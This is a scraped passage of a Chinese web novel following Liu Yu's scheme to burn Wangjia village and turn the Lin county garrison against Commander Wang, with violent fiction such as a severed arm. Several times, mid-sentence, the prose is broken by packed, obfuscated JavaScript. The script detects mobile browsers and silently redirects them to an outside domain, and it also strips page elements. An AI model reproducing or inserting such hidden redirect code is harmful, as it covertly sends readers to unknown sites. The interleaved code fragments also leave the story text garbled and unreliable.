“半个时辰后，我会带我手下先锋营所有兵马离开。” “你现在就可以做好准备，明日午时，只要有信使从临县方向过来跟汪大人汇报情况，你就可以直接跟汪大人开战了。” “放心，此站必胜。” 柳羽点头。 该安排的都安排的，该做的也都做了，柳羽直接掉头返回王家村内。 柳羽回到后卫营队伍里时，大部分士兵已经在村里民房睡下，或是生了篝火，围着火堆东倒西歪睡在村内道路的两旁。 只有周阳带着他的四十多名属下，在外围巡夜。 柳羽刚回来，周阳立马就跑了过来： “柳哥，左边民房收拾过了，干净的，你随时都能进去休息。” 柳羽摆手摇头，走到一处篝火边坐下来，朝着周阳抬手：“有酒吗？” “有。” 周阳赶忙把一个酒壶递给柳羽。 柳羽接过后大喝了一口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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不一会儿功夫，二百人的队伍就整装待发，站到了柳羽跟前。 第一百七十二章 放火烧村 没有过多啰唆，简单说了句是前打猎的，柳羽当即带着二百人的队伍，钻进了王家村左侧的山林当中。 进去后没走多远，刚走到王家村村前的山林中，在从上面能看到村口情况的位置，柳羽在前面率先蹲下，目光看向周阳： “周阳，给你分一百人，你带着他们蹲伏在这儿，不要发出声响。” 周阳表情古怪。 他目光朝山林下看去，甚至都能看到汪大人手下的士兵，搁村口站岗。 这是打猎？ 怎么看怎么觉得，柳羽这是让自己准备埋伏汪大人啊。 “柳哥，我蹲多久呢？”周阳一脸古怪的问道。 柳羽手指山下汪大人的队伍： “咱是来捕猎的，你先在这盯着这群畜生不要乱动。” “等畜生往外面跑的时候，你拦路截杀就是。” 周阳瞬间明白了过来。 得嘞，你说的捕猎，原来是捕这个猎。 周阳顿时就兴奋了起来，点头朝着柳羽道： “柳哥放心，有我受着，别说畜生，一只苍蝇它都不可能飞出去！” 柳羽咧嘴一笑，当即就放心了下来。 分了一半人给周阳留下后，柳羽当即带着剩下一半人，朝着山林更深处走去。 四百人打五百人，正面打还是能打的。 但柳羽家底有限，手上总共就这点人，折一个柳羽都心态。 汪大人盘踞在王家村里，远处射箭，他的人可以多民房当中，地形上，柳羽占不到任何优势。 加上汪大人对柳羽的防备，偷袭也是相当困难的。 柳羽唯一能想到的办法，是放火。 临县这地方，一年四季，冬季有四五个月。 比较冷的地方，银杉树，松树为常见树木。 只要在树林里用心早，很容易就能在松树上找到，松树油滴落下来，凝结成的松油块。 这东西生火极为好用，只要点燃起来，就极其难以扑灭。 经常被村民用来生火，或是被士兵们收集起来，高温熔化后涂抹到箭头上制作火箭。 现在离正午还有几个时辰的时间，天阴沉沉的，像是要下雨的样子。 这种情况下，王家村哪怕大多是木质房屋，也不好成片烧起来，必须送油助力。 柳羽带着人进到林子深处后，立即陆游袁羌带着一百多名士兵，在树林里寻找松油块。 松油块这东西还是比较好找的，基本每棵松树上都有。 没有的，把树根下的雪扒开翻一翻，准能摸出一两个来。 有的松油块里面，甚至还裹着螳螂甲壳虫这些小虫子，形成了琥珀。 和平时期琥珀这种东西拿到城里面卖，遇到喜欢的，说不定还能卖个好价格。 反正点火用的，无论是什么成色大小，柳羽让众人一概收集。 一百个人，仅仅用了短短一个时辰的功夫，就收集了一大堆出来。 用衣服裹着带回去，三四件衣服都有点裹不下。 眼看时间也不早了，柳羽担心自己离开这会儿功夫，汪大人发现了不对劲。 连忙带着一百人原路返回王家村。 好在是柳羽多虑了。 今天周口来的卫大人要带着一千兵马到临县，汪大人一早上都在等官道上的信息，根本没心情搭理柳羽。 柳羽带人回到驻地的时候，刘宪华看着柳羽身边，士兵手上拿着的东西，一脸疑惑： “不是打猎吗，弄这么多松油块干什么？” “点火啊。”柳羽小声道：“正午就准备动手，咱人手有点少，所以我准备使点阴招。” 刘宪华瞪大眼睛。 凝望柳羽好几秒后，刘宪华才道： “现在这天气，下午说不定下雪，火不太好点啊。” “我看柳哥你搞这么多松油块，应该是想把整个王家村都点了，这样子的话，我倒是有个好法子。” 柳羽眼睛一亮。 从来都只知道，刘宪华在拍马屁这方面，很有本事。 没承想，刘宪华还有自己不知道的才华？ 柳羽赶忙询问： “哦？说说看！” 刘宪华咧嘴一笑，没有第一时间开口，而是转身，去找了些干柴跟稻草过来放柳羽脚边。 “柳哥，咱可以做焖堆。” “把松油块，点燃丢木材堆里，外面铺一大层稻草。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15760000|173427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这样子做，火在里面慢烧外面看不出来，最多就冒点白烟出来。” “但等到冒白烟的时候，说明焖堆里面的木材也已经烧起来了，用不了多久整个焖堆就会瞬间烧起来，扑都扑不灭。” 顿了顿，刘宪华笑道： “这就跟咱用的火折子似的。” “咱们算好时间，多搞几个焖堆出来，等全烧起来的时候，整个王家村瞬间就会变成一片火海。” 柳羽嘴巴微张，看向刘宪华的目光，充满了欣赏。 不容易啊，曾经的废物，他变成人才了！ 柳羽是真不敢相信，当下这个关键时刻，刘宪华居然能给出这么好的建议来。 要知道，王家村此前是有村民住的。 村里每家每户，都老早在入冬前，囤了过冬用的木材。 加上家家户户，养鸡鸭的，养猪的不少，鸡圈猪圈里，稻草干草是一点不缺。 刘宪华这个点子，是完全可以轻易实现的。 柳羽这个开心啊。 当即就把大手，拍在了刘宪华肩膀上： “小刘啊，成长了！” “我这个当大哥的，欣慰啊！” “行，就听你的，点火烧村这事，全权交由你办，我要正午时分，整个王家村都热起来。” 柳羽这话，放在以前刘宪华绝对会觉得奇怪。 因为他的年纪，比柳羽大太多了。 但现在，真心实意认柳羽当大哥后，被柳羽这样夸奖，刘宪华一点不觉得奇怪，只感到满心的欢喜。 没有犹豫，刘宪华无比坚定地朝着柳羽点头： “放心柳哥，保证完成任务！” 目送刘宪华离开，柳羽盯着王家村里，唯一一条泥路主干道，人却是奇怪起来： “这个汪大人啥情况，昨天遭叛军偷袭，怎么今天早上一点动静没有？” 犹豫再三，柳羽抬手招来陆游： “你去问问汪大人，就说弟兄们肚子饿，想回临县。” 陆游点头，当即朝着村头走去。 柳羽在原地，等了有小半炷香的时间。 很快就看到，陆游带着汪大人身边一名近卫，朝着自己走了过来。 第一百七十三章 一触即发 汪大人身边人，柳羽从来没接触过，名字也叫不上来。 等汪大人的近卫靠近，柳羽正想着怎么开场，套个近乎呢。 却见那近卫斜着眼睛看人，淡淡道： “柳总旗，汪大人让你跟刘总旗，过去找他一趟。” 听到这话，柳羽眼睛瞬间就眯了起来。 整个后卫营，就柳羽跟刘宪华两个主心骨。 如果是在临县，汪大人让过去，柳羽也就过去了。 现在双方关系离撕破脸皮，就差一两句话的功夫。 柳羽带着刘宪华过去，要是被汪大人直接绑了，不就等同于全完了？ 再看汪大人派来传话的这个近卫，一副高高在上的样子。 柳羽能过去就见鬼了。 “麻烦回去禀报一下汪大人。” 柳羽淡淡道：“我现在忙着给手下弟兄找吃的，不方便去见他。” “有什么事情，汪大人可以亲自过来找我谈。” 此话一出，近卫的眼睛顿时就瞪了起来。 手指柳羽鼻梁呵斥： “你好大的胆子，居然敢让大人亲自来见你！” “大人说了，这是军令，你不去，就等同于抗命！” 柳羽笑盈盈地点头：“好好好，我明白了，军令哈…” 笑声还没结束，柳羽骤然动手。 反手一巴掌，猛地抽在近卫脸上，随即一脚将其踹翻在地。 “你特么！” 近卫捂着脸，刚想从地上爬起来。 柳羽身边，陆游袁羌以及一众士兵瞬间拔刀，虎视眈眈凝望着他。 柳羽则是搓着自己发痛的右手，望着他淡淡道： “汪大人都没说话，你这个当狗的一个月几根骨头啊，叫得这么欢？” “回去告诉你家大人，要谈，来我这谈。” “这里不是临县，是野外！” 说罢，柳羽眼睛余光瞥向近卫：“滚吧。” 近卫捂着脸灰溜溜起身，明明都已经准备转身走了，却还是气不过，回头用手指向柳羽：“你等着，大人一定不会…啊！” 他话还没说完，柳羽一把抢过陆游手里的刀，将他一条右手手臂，整个砍了下来。 血滴落在地，男人疼得浑身颤抖，一脸不敢置信地看着柳羽。 柳羽冰冷道： “回去让汪大人教教你礼数，一个当兵的指着总旗鼻子威胁。” “再有下次，这刀砍的就是脖子。” “滚！” 这回，近卫再也不敢叫了，捂着断掉的手臂，灰溜溜离开。 等他一走远，柳羽立即扭头看向陆游袁羌： “让所有人戒备，随时准备干仗！” 两人没说什么，只是坚定地点头。 …… 王家村村口民房，断掉手臂的近卫，一脸慌张地冲进屋里： “大人救我，大人救我啊！” 汪大人目光看去，怎么也没有想到，自己派人去传个信，去的时候好好的，回来时少了一只手。 眼看他手上血还在流，汪大人赶忙大声吼道： “来人，快，给他包扎！” 一直等到几个士兵进屋，帮男人把血给止住后，汪大人才脸色阴冷道： “发生了什么？柳羽抗命了？他反了？” “武汉冲呢，他也反了？” 男人一脸委屈： “大人，我只是按照你的命令过去传信，让柳羽跟刘总旗过来见你而已，而且我明着跟他说了，这是军令。” “可柳羽不但不停，还说什么这不是在临县而是在野外，有什么事情让大人亲自过去跟他说。” “我就说了他两句而已，他…他就拔刀砍小的。” “大人，他这分明就是在**嘛！” “至于武，武总旗，小的还没来得及找……” 汪大人眼神冰冷到极致。 自己身边的近卫是什么德行，汪大人心里清楚，知道他这番话一定是添油加醋了。 但这不重要。 重要的是，柳羽不过来，就已经说明了问题。 他这是，已经有反心了！ 如果没有，不至于怕自己把他叫过来绑了，为此甚至不惜抗命，直接跟自己撕破脸皮。 因为汪大人，是真的打算把柳羽跟刘宪华叫过来直接绑了，彻底消除后卫营四百人马的威胁。 只可惜，柳羽没他想得那么傻。 汪大人阴着脸走到一张木桌前，双手捏成拳头，奋力砸在桌面上。 砰砰砰！ “反了！全反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770423|173427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了！” “一问都忠于朝廷，一下命令，全都为自己着想！这就是朝廷的兵，这就是朝廷的将，全特么是一群反贼！” 怒声咆哮着，汪大人扭头朝他身后站着的一名近卫看去： “卫霍，官道上有传来卫大人的消息吗？” 卫霍抱拳：“回大人，暂时没有。” “不过按照时间推算，卫大人现在就算没到松阳客栈，也至少已经抵达松阳栈道了。” 汪大人点头，当即将腰间长剑解下递给卫霍： “我给你一匹快马，你立刻回临县把王总旗杀了。” “杀完后，提着他的头跟百户营说，王总旗意图**被就地正法。” “之后从县衙取点银两发下去，把百户营收了，明白？” 卫霍点头。 但却在即将离去前皱眉道：“那这边呢？” “大人，那柳羽跟刘宪华都贼得很，小的不在，怕大人这边…” 汪大人冷笑出声： “我这边？我这边有什么好怕的。” “那刘宪华一个墙头草，风往哪儿吹他往哪儿倒，只要我不挑明了要对他动手，他就不可能先动手。” “至于柳羽，这小子确实是有点不一般，但他一个总旗，后卫营干什么事刘宪华不点头他也掀不起什么风浪。” “哼，你把临县控制住了，等卫大人一千兵马抵达，什么柳羽刘宪华，只要后卫营的兵脑子还正常，就不可能跟着他们**！” 听到这话，卫霍当即就放心了下来。 直接抱拳道： “那大人小心，卑职先行一步了。” 与此同时，临县城，城门脚下。 武汉冲带着他的一百人先锋营，缓缓靠近。 城墙上，王总旗探出个头来，一脸疑惑地望着下方的武汉冲： “武总旗，怎么就你的先锋营回来了？” “汪大人，刘总旗他们呢？” 武汉冲咧嘴笑道： “王总旗，城里县衙，可还有汪大人手下的兵？” 王总旗一脸疑惑：“有，有啊，我身边就有两个。” 王总旗说着，招手让两名汪大人安排在他身边的士兵，靠近到了他的身边。 武汉冲望着这一幕，表情精彩至极。 第一百七十四章 我们这些忠臣 注意着王总旗身边两名士兵的情况。 武汉冲沉声朝着王总旗道： “我有要紧军情跟你商量，你把城门打开，让我进去。” 然而，听到这话，王总旗却是冷笑出了声： “军情什么的先不急，你先给我解释解释，为什么就你一人回来了？” 武汉冲表情怪异。 还不等他开口，王总旗却自顾自道： “哼，你当我傻啊。临走前，汪大人曾私下找到过我。” “说了什么，我就懒得叙述了，但汪大人没回临县，你武汉冲绝不应该回来。” “说，你是不是反了！你把汪大人怎么了！” 王总旗此话一出，城墙上**手齐刷刷瞄准武汉冲的队伍。 “武汉冲，今天你说不出个所以然来，可就别怪我不讲同僚情义了！” 武汉冲脸色难看至极。 说王总旗聪明吧，他敢让汪大人安插在他身边的士兵，带着剑站在他身边。 说王总旗傻吧，他偏偏又看出了，武汉冲此时此刻，不应该出现在临县。 这明摆着，就是汪大人临走前，对王总旗许诺过高官俸禄。 不然，他不至于这么向着汪大人，对汪大人这么放心。 武汉冲敢来，手上自然是握着，能让王总旗相信的东西。 偏偏特么的，王总旗身边两个汪大人的士兵，让武汉冲根本不敢掏出来。 因为一掏，王总旗必定小命不保。 武汉冲冷眼望着城墙上，笑得得意的王总旗。 短暂犹豫片刻后，轻笑道： “姓王的，你好像一直看我不顺眼啊，逮着机会就想搞我。” “是因为我知道你媳妇**上有颗痣吗？” “别这么小气嘛，我就是侥幸看见过一眼而已，又没真的干过什么。” 前些年，临县太平时期。 武总旗跟王总旗媳妇有染一事，算得上是广为流传。 两人为此，闹出过不少供人茶后饭余津津乐道的谈资。 本来这事都已经过去许久，被人淡忘了。 王诸国怎么也没有想到，武汉冲居然敢在这个时候又提起来。 几乎没有任何犹豫，王诸国怒不可遏，一把夺过身边士兵手上的**，瞄准武汉冲： “你特么的，还敢提这事。信不信老子一箭射死你！” 武汉冲搁城墙下双手摊开，一副任君采劼的模样： “随你啊，若是以我一命，便能消除恩怨，我武汉冲无暇赴死。” “不过啊，昨日汪大人在王家村遭叛军伏击，今日命我通知你前去支援。” “你要是贻误了军机，小心杀头哟。” 此话一出，原本还怒不可遏的王总旗，整个人愣住。 “王家村？汪大人不是去的豹子山吗？王家村…王家村…” 王总旗念叨了好一会儿，像是瞬间想明白了什么，猛地调转箭头，瞄准身后两名汪大人安插在他身边的士兵。 那两名士兵眼看败露，立即拔剑。 但王总旗比他们更快，一箭射杀一人后，顺手用手上**朝着另一人砸去。 在那人躲闪之际，王总旗趁机拔刀，一刀砍下好大颗头颅。 一连斩杀两人之后，王总旗才深吸一口气，扭头冷眼朝武汉冲看去： “你说的要是假话，他俩就是你的下场。” 武汉冲咧嘴一笑： “我就知道，你还没傻到不可救药的地步。不过可惜了，你今天杀不了我，不仅杀不了我，你还得对我三拜九叩。” “把人带上来。” 武汉冲大手一挥，他身后百人队伍中，二十多年伪装成士兵的王家村村民，以及被保护起来的小孩，尽数站在了王总旗面前。 武汉冲淡淡道： “汪大人离开临县前单独找你，应该是说他会设计让我死在叛军手上，然后许你高官厚禄吧？” “那我现在告诉你，汪大人从来就没想过剿灭叛军，一出临县，他就直奔王家村而去，抵达后，立即对刘总旗的后卫营，下达了屠村的军令。” “呵呵，你还惦记着高官俸禄，殊不知，他汪大人是要彻底掌控临县，而我们这几个总旗，就是他掌控临县的挡路石。” “他剿的，从来就是我们这些自己人！” 王诸国脸色铁青。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770424|173427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >武汉冲会说谎，王家村村民却不会。 在武汉冲话音落下后，村民队伍中，立即就有一个精壮的汉子，满腔恨意道： “诸国，我可以证明，武总旗说的句句属实。” “汪大人抵达王家村下了屠村的命令，是柳羽柳大人，拼着自己身家性命不保，违抗军令，私下将村里青壮年跟妇孺孩童全部放走。” “我们带着妇孺在深山里跑到半夜，差点就被山里狼群给叼走了，后面又是武总旗亲自来寻我们，将我们保护起来带着来见你，我们才能活到现在的。” 听到这话，王诸国胸膛剧烈起伏。 勉强缓过劲来后，王诸国立即朝着城门后的士兵大喊： “愣着干什么，开城门，赶紧把人给我放进来！” 武汉冲咧嘴一笑。 心里已然知道，他跟柳羽干汪大人的大计，其中最关键的一环，成了！ 随着城门大开。 武汉冲还没来得及带人进入，就见王诸国快步从里面跑出来，径直跑到武汉冲跟前。 “干嘛，还要对我动手？”武汉冲挑眉道。 王诸国却是一句话都不说，噗通一下跪在武汉冲面前，砰砰砰连磕了三个响头。 用力之大，王诸国抬起头来时，沾染泥土的额头上，已经是溢出了鲜血。 “姓武的，咱俩之前的恩怨一笔勾销。你救我王家村，我王诸国，欠你一条命！” “矫情。”武汉冲一把将王诸国从地上拉起来：“救你的不是我，是柳羽。” “哦对，你跟他可能不熟，他之前是我手下的一名小旗，不过现在嘛，他是我主公，我给他当军师。” 王诸国嘴巴微张，简直不干自己的耳朵。 柳羽这两个字，他还是听过且知道的。 只是怎么也没有想到，平时不显山不露水的一个小青年，摇身一变，成主公了？ 信息量太大，王诸国一时间完全接受不了。 武汉冲却是沉着脸道：“情况负责，有时间再解释。” “现在最重要的是，汪大人叛国，想占据临县盘踞一方。” “我们这些朝廷的忠臣，必须奋起反抗！” 第一百七十五章 谁都一样 要不说武汉冲是总旗呢。 他这句‘我们这些朝廷的忠臣，必须奋起反抗’，柳羽听了，一定会眼睛大亮。 仅仅一两句话的功夫，就将整段时间的性质翻转了过来。 此前，汪大人是忠臣，柳羽要反水。 现在，柳羽是忠臣，汪大人要叛国。 忠不忠的先不谈，正所谓师出有名。 就凭此刻武汉冲这两句话一出，柳羽就已经有了，能跟汪大人正面刚的正当理由。 事后朝廷如果追查。 这一战，谁赢，谁掌握话语权。 谁赢，谁就是国之栋梁，大大的忠臣！ 王诸国当了这么多年总旗，这其中的道道，一点就通。 当即道： “事情发展到这个地步，汪大人是不会放过我们的。” “周口方向，汪大人同僚卫大人的一千兵马，刚才已经传来军情，抵达了松阳栈道，加上汪大人自身的五百人，就是一千五百人。” “而如今临县，加上你这一百人，也不过才五百出头而已。” “这丈，怎么打？” 武汉冲自信一笑： “放心，我已有了一石多鸟之计。” “此战过后，临县叛军问题将迎刃而解，内乱问题也将得到平定，咱们都有升官的机会。” 说着，武汉冲却是扭头，看向了王家村方向： “不过此计是否能成。” “就看柳羽的造化了！” …… 松阳客栈，岔路口。 近两千人，浩浩荡荡的叛军队伍，有条不紊地从周边山林里搬来木头石块，将整个岔路口堵得水泄不通。 天军统领萧天军，站在一处小山头上监工。 下方，玉军师与萧寒衣，围坐在松阳客栈门口熊熊燃起的火堆前。 玉军师手拿一幅地形图，神情微冷： “柳羽这笑面虎，总能给我惊喜呵。” “我都没想过，杀洛北城来的大官，他倒好，先反了。” 萧寒衣咧嘴轻笑： “这都不重要。” “现在最要紧的是，我天军人虽多，但全是由流民组成，手上兵刃也多以土刀**为主。” “咱们一千八百人的队伍，有战斗力的不过五百。” “真跟朝廷一千人兵马打起来，咱大概率会败，就是胜，也绝对是惨胜。” 玉军师何尝不知道这一点，所以脸色才一直不怎么好看： “所以我担心啊。” “担心他柳羽，是想借天军的手，升他的官。” “至今为止，我天军按照他的意思来这截道了，事成之后能得到什么，他还未派人来说呢。” 两人正聊着，远处临县方向的管道上，李晟骑着一匹老马快马加鞭赶来。 抵达后，李晟赶忙朝着玉军师大喊： “军师，武汉冲武总督命我传来军令。” “武总督要你天军拦住卫大人部队，但绝不可打。” “若到了不打拦不住的时候，立即朝临县撤退！” 玉军师眉头微皱。 昨天晚上，李晟就来找她通过气了。 她知道，柳羽此刻正跟汪大人部队，搁王家村掰扯呢。 也就是说，此刻她天军若是拦不住卫大人部队，一旦卫大人跟汪大人通上气。 在王家村的柳羽将退不了，打不过，陷入十死无生的绝境。 武汉冲这道拦不住就撤的命令，完全没道理的。 除非，他想柳羽死。 “武汉冲真这么说的，柳羽他不管了？”玉军师起身冰冷道。 萧寒衣也是同一时间起身： “李晟，你是柳羽的人没错吧？” “我天军，是看在柳羽的面子上，才出手相助的。” “你难道不知道，武汉冲这个决策，是要把柳羽往死里害吗？” 李晟神情坚定地朝两人抱拳： “二位，此中利害我自然知晓。” “武总督是我授业恩师，柳羽是我过命大哥，我不会害他们任何人，二位可以完全信任我。” “放心，柳哥儿绝对不会出事！” 玉军师目光凝望李晟，神情古怪至极。 沉默了数吸之久，玉军师才轻笑道： “柳羽知道你跟着他混的同时，背地里还在跟武汉冲通气吗？” 李晟神情一愣。 “我不知道军师在说什么。” “没事。”玉军师露出如阳光般的笑颜：“我也不想知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778811|173427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “无论是柳羽还是武汉冲，能给我天军想要的东西就行。” “至于连自己手下都控制不好这种事情，那是他柳羽能力不行，活该。” …… 王家村。 柳羽赶走汪大人的近卫后，就独自坐在篝火边，手拿地形图思考。 战事方面的事已经安排好了。 身边的内奸，却成了柳羽心中抹不掉的钉子。 柳羽自问，自己这个当大哥的做的不差。 遇到事，永远第一个上，赚了银子，从来都是大把分出去。 自己都做到这个地步了，身边最信任的人当中，怎么就会有个王八蛋，一直背着自己向武汉冲传递消息？ 这世界上，真就有喂不熟的白眼狼？ 柳羽愁眉不展。 就连刘宪华在王家村里布置好焖堆，回来找他复命了，柳羽都没有察觉。 “柳哥，柳哥！” 刘宪华一脸疑问：“正午了柳哥，焖堆马上就燃起来了，咱不动手吗？” 柳羽终于反应过来，连忙道： “汪大人那边有没有出现特殊情况？” “有人离开王家村吗？” 刘宪华点头，从手里掏出一把宝剑来，递给柳羽。 这剑柳羽认得，正是汪大人的佩剑。 刘宪华道：“周阳派人送过来的。” “他说他搁村口树林蹲着，看到一个汪大人的近卫骑马出村，于是便派人给射杀了。” “周阳从那人身上，找到了汪大人的佩剑。” “但他具体是去干什么的，没有搜到书信，无从得知。” 柳羽多少有点烦躁，直接把汪大人的剑别自己腰上： “不知道就不知道吧，反正马上就要开打了。” “刘宪华，你给我留五十人，其余人全往山林里带，去找周阳汇合。” 刘宪华一脸懵逼： “不等村子烧起来，直接突袭汪大人吗？” 柳羽摇头： “人是长腿的，火烧起来我们会跑，汪大人跟他的手下照样会跑，想让他不跑，就得有人吸引他注意力。” “所以你现在带着所有兄弟到外围去，堵他们跑的路。” “我负责吸引。” 第一百七十六章 撕破脸皮 刘宪华眼睛瞪大。 几乎没有一点犹豫，紧盯着柳羽一口咬定： “不行！” “柳哥你带着兄弟们走，我留下吸引！” 柳羽却是摇头，伸手进口袋，将一张早已经写好内容的纸张，递到刘宪华手里。 “这是你老婆孩子的地址。” “如果我出事，你带着他们躲得远远的的，安稳过一生还是不难的。” 在柳羽看来，刘宪华对自己的忠心有，但绝对不多。 刘宪华之所以表现得这么担心自己，不过是因为，他媳妇小孩的藏身处，只有自己一人知道而已。 但柳羽怎么也没想到，地址递过去，刘宪华却是连一点想要伸手接的想法都没有。 反而是一脸愤怒地看着柳羽： “姓柳的，你当我刘宪华是什么人？” “你说反，老子跟着你反，你现在几个意思，交代后事？散伙啊？” 刘宪华一把抢过柳羽递来的纸张，奋力将其撕成碎片撒向天空。 随即，刘宪华一把抓住柳羽手臂，将柳羽推向了一旁的袁羌等人。 “你们带着大哥走，他不走就绑了，扛也要扛走。” “有不怕死的弟兄吗，来五十个，跟我！” 刘宪华到底是后卫营总旗。 一嗓子吼出去，队伍里一群人齐刷刷地就站了出来。 看到这一幕，柳羽怒急：“刘宪华，你特娘想干什么，**啊！” 刘宪华却全然不管。 只是淡淡道： “柳哥，你这当大哥的，事事亲力亲为顶这最前面，对兄弟们来说是好事。” “但说白了，你这不就是不相信兄弟们的能力吗？你有没有想过，你要是没了，我跟这一大帮跟着你干的弟兄们，该怎么办？” 刘宪华冷哼着看向袁羌等人： “他们不明事理，但我不傻。如果今天老子不听你的话是造你的反，那这个反老子还就造了！” “袁羌，你特娘的愣着干鸡毛啊，带着柳哥走！” 柳羽瞪直眼睛： “我看谁敢！” 一旁，袁羌陆游等人一脸懵逼，完全不知道该怎么办。 因为按道理来说，柳羽是大哥，都应该听柳羽的。 可柳羽的命令，明显没有道理。 小弟出事了，还能指望柳羽这个当大哥的帮忙照看一下家人。 可柳羽要出事了，一群人就全散了啊。 柳羽瞪直了眼睛紧盯着袁羌等人，不允许任何人靠近。 刘宪华却是直接朝着陆游道：“他发昏，你也发昏是吧！” 陆游挠了挠头，伸手试图抓柳羽手臂。 被柳羽一把甩开后，陆游也来脾气了： “绑了扛走！” “特奶奶的，哪有这样当老大的！” 哪用得着绑。 憨子袁羌一反应过来，意识到柳羽殿后会有危险，单手就给柳羽控制住，硬拖着往山上走了。 柳羽气得龇牙咧嘴，隐藏在原始基因中骂人的话都说了出来： “你们特么脑残吧，老子敢殿后，自然有办法脱身，他刘宪华蠢得跟头猪似的，他留下才是白白送死。” “放开，叫你特么放开没听见吗，憨子，你特娘也要**是吧？” 只可惜，任凭柳羽说什么。 所有人都是扭过头去装出一副聋子听不见的模样，硬生生给柳羽拽进了山。 而留在王家村里的刘宪华，叉着腰望着留下来的五十多名士兵，是一脸的不服气： “哼，说我蠢得跟猪似的？” “老子平时就是装圆滑，不想惹事而已，没想到居然这么看我，那行，老子不装了，摊牌了，老子是总旗，刘总旗！” 怒吼一声，刘宪华直接大手一挥，怒气冲冲带着一帮子人，朝着汪大人队伍所在的村口走去。 王家村不大，只是位于山沟当中，颇为狭长而已。 走了不到三四百米，刘宪华就已经看见了前方两百多米开外，汪大人处在军队保护中，正虎视眈眈盯着自己。 见状，刘宪华当即抬手让所有人停下。 “刘宪华？你这气势汹汹过来干什么？**吗？” “柳羽呢，你手下其他人呢？” 都已经到了这个地步，刘宪华根本懒得再伪装。 深吸一口气，隔空指着汪大人鼻子就开骂：35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778812|173427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “汪天淼！你这个老王八蛋！” “你以为老子不知道你想干什么，你不就是想等着卫大人赶到，把老子这伙人全歼了吗？” “哈哈哈哈，做你的乌龟王八梦去吧，想躲王家村等卫大人？没门！” 汪大人凝望刘宪华，脸色阴沉得能滴出水来。 刘宪华却是双手叉腰，越骂越起劲： “嘿嘿嘿，别做美梦了，唯一能到王家村的路，现在已经被堵**。” “而且你派出去传信的人，就那个…那个拿着你宝剑的人，刚一出村就被老子的人逮住砍了。” “现在老子的人，全散在周边树林里，你这群烂番茄臭鸡蛋，出去一个老子砍一个。” “怎么着，不服啊，不服你打我撒！” 刘宪华双手叉腰，可算是骂痛快了。 一想到自己平时拍马屁，今天居然在柳羽跟汪天淼面前硬气了一回，刘宪华就觉得扬眉吐气。 脸色神情，也是愈发地嘚瑟。 但另外一边，汪大人的心情可就不太美妙了。 从进王家村开始，汪大人就知道刘宪华柳羽这帮人不对劲。 手下更是屡次三番说，发现了刘宪华搁村子里面，有异常举动。 汪大人知道他们有反心，却也没有办法。 卫大人不好对付，打不好打，走不好走。 汪大人只能装出一副不知道刘宪华柳羽在搞小动作的样子，以企图稳住两人，尽可能拖延时间等候卫大人赶到。 只是怎么也没有想到，刘宪华胆子居然能大到这个地步，机会抓得这么好。 自己暗中有安排，他们在暗中，居然安排得更完善。 汪大人冷眼狞笑： “呵呵，刘宪华，要不说你是临县土著呢，我这个外来的和尚，果真没你这个本地和尚好念经。” “但你可要想好了，你现在造的不是我的反，是朝廷的反。” “今天你敢动手，不出半月，朝廷必定大军压境，屠你全族！” “还有你们，你们这群当兵的！” 汪大人冷眼看向刘宪华身后的士兵： 